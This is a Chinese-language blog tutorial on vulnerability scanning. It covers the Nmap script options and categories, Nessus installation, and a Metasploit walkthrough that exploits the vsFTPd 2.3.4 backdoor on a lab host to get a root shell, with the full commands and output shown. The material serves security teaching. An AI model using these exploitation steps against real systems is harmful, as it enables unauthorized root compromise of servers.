系统漏洞扫描原理及工具 - 安全工具篇

漏洞扫描器对漏洞进行扫描,以验证具体目标是否存在对应的具体漏洞。但是也存在错误扫描,需要对扫描结果进行漏洞验证。

扫描器的原理大致相同都是通过发送对应的验证数据到目标具体服务进行验证。当收到目标返回的响应与存在漏洞的响应一致时,就表明存在漏洞。

神器Nmap

万能的Nmap又来了。这次利用Nmap进行漏洞扫描。

--script-args=:该参数是用来传递脚本里面的参数。
--script-args-file=filename:使用文件来为脚本提供参数。
--script-trace: 显示所有的脚本收发请求过程。
--script-updatedb:在Nmap的scripts目录里有一个script.db,该文件中保存了当前Nmap可用的脚本,类似于一个小型数据库,如果我们开启nmap并且调用了此参数,则nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新。
--script-help=脚本名称:调用该参数后,Nmap会输出该脚本名称对应的脚本使用参数,以及详细介绍信息。

root@kali:~# nmap --script vuln 10.0.2.5
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-11 09:37 EDT
Nmap scan report for 10.0.2.5
Host is up (0.00056s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
| ftp-vsftpd-backdoor: 
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  OSVDB:73573  CVE:CVE-2011-2523
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       http://osvdb.org/73573
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|_sslv2-drown: 
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
...

Nmap的漏洞扫描主要利用脚本进行,我们可以看到Nmap一共有589个漏洞利用、工具脚本。

root@kali:~# ls /usr/share/nmap/scripts/ | wc -l
589

Nmap脚本主要分为以下几类,在扫描时可根据需要设置--script=类别这种方式进行比较笼统的扫描:

类别 说明
auth 负责处理鉴权证书(绕开鉴权)的脚本
broadcast 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute 提供暴力破解方式,针对常见的应用如http/snmp等
default 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos 用于进行拒绝服务攻击
exploit 利用已知的漏洞入侵系统
external 利用第三方的数据库或资源,例如进行whois解析
fuzzer 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
intrusive 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware 探测目标机是否感染了病毒、开启了后门等信息
safe 此类与intrusive相反,属于安全性脚本
version 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_06
all 调用所有脚本扫描

图形化工具Nessus

Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件。

通过官网进行下载:https://www.tenable.com/downloads/nessus

下载Nessus

安装Nessus:

root@kali:~# cd ../Downloads/
root@kali:~# dpkg -i Nessus-8.3.1-debian6_amd64.deb 
root@kali:~# systemctl start nessusd

访问连接 https://kali:8843

访问Nessus

使用高级扫描
配置扫描地址
查看漏洞信息

漏洞利用metasploit

可以看出上面两个工具扫描出的结果并不完全一样。所以,可以使用多个扫描器进行多次扫描验证相关漏洞。

root@kali:~# msfconsole 
[-] ***rtIng the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
       .dOOo   .OOOOocccxOOOO.   xOOd.
         ,kOl  .OOOOOOOOOOOOO. .dOk,
           :kk;.OOOOOOOOOOOOO.cOk:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v5.0.15-dev                          ]
+ -- --=[ 1872 exploits - 1061 auxiliary - 328 post       ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]

msf5 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name               Disclosure Date  Rank    Check  Description
   -  ----               ---------------  ----    -----  -----------
   1  cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact 
payload => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 10.0.2.5
rhost => 10.0.2.5
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 

[*] 10.0.2.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.5:21 - USER: 331 Please specify the password.
[+] 10.0.2.5:21 - Backdoor service has been spawned, handling...
[+] 10.0.2.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.7:34277 -> 10.0.2.5:6200) at 2019-04-11 12:27:22 -0400

id
uid=0(root) gid=0(root)

转载于:https://my.oschina.net/u/1404949/blog/3039476

你可能感兴趣的:(系统漏洞扫描原理及工具 - 安全工具篇)